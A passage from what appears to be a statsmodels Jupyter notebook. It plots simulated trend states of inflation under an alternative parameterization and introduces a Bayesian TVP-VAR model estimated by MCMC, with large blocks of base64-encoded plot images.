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\n", "text/plain": [ "<Figure size 1080x216 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "fig, ax = plt.subplots(figsize=(15, 3))\n", "\n", "# Update the model's parameterization to one that attributes more\n", "# variation in inflation to the observation error and so has less\n", "# variation in the trend component\n", "mod.update([4, 0.05])\n", "\n", "# Plot simulations\n", "for i in range(nsimulations):\n", " sim_kfs.simulate()\n", " ax.plot(dta.index, sim_kfs.simulated_state[0],\n", " color='C0', alpha=0.25, label='Simulated state')\n", "\n", "# Plot data\n", "dta.infl.plot(ax=ax, color='k', label='Data', zorder=-1)\n", " \n", "# Add title, legend, clean up layout\n", "ax.set_title('Simulations with alternative parameterization yielding a smoother trend')\n", "handles, labels = ax.get_legend_handles_labels()\n", "ax.legend(handles[-2:], labels[-2:])\n", "fig.tight_layout();" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Application: Bayesian analysis of a TVP-VAR model by MCMC\n", "\n", "One of the applications that Chan and Jeliazkov (2009) consider is the time-varying parameters vector autoregression (TVP-VAR) model, estimated with Bayesian Gibb sampling (MCMC) methods. They apply this to model the co-movements in four macroeconomic time series:\n", "\n", "- Real GDP growth\n", "- Inflation\n", "- Unemployment rate\n", "- Short-term interest rates\n", "\n", "We will replicate their example, using a very similar dataset that is included in Statsmodels." ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "execution": { "iopub.execute_input": "2021-02-02T06:51:38.612137Z", "iopub.status.busy": "2021-02-02T06:51:38.611376Z", "iopub.status.idle": "2021-02-02T06:51:38.939510Z", "shell.execute_reply": "2021-02-02T06:51:38.940178Z" } }, "outputs": [ { "data": { "text/plain": [ "Text(0.5, 1.0, 'Evolution of macroeconomic variables included in TVP-VAR exercise')" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3cAAAE/CAYAAADlpzo+AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAEAAElEQVR4nOzdd3iT1dvA8e9puvdmQ9kbQZZsEBkqQwFRcYGAIu6BuF7EgYq4N8pQfwICiiKr7CF7yEbKbKEtbaF0zzQ57x9JawvdTVso9+e6cpE8z1kZpLmfs5TWGiGEEEIIIYQQ1ze7ym6AEEIIIYQQQoiyk+BOCCGEEEIIIaoACe6EEEIIIYQQogqQ4E4IIYQQQgghqgAJ7oQQQgghhBCiCpDgTgghhBBCCCGqAAnuhBA2pZTSSqlGpczbQykVYus2FaPepkqp/UqpJKXUMxVd/42ost7rfNpxVCnVu5hpC/xsK6VGK6W22rhtDyil1tignFCl1G2lzPujUupdW+e11XMTtqWUSlZKNajsdgghSk+COyFuUNYffGnWP+bZt68quA15fixrrf/WWjety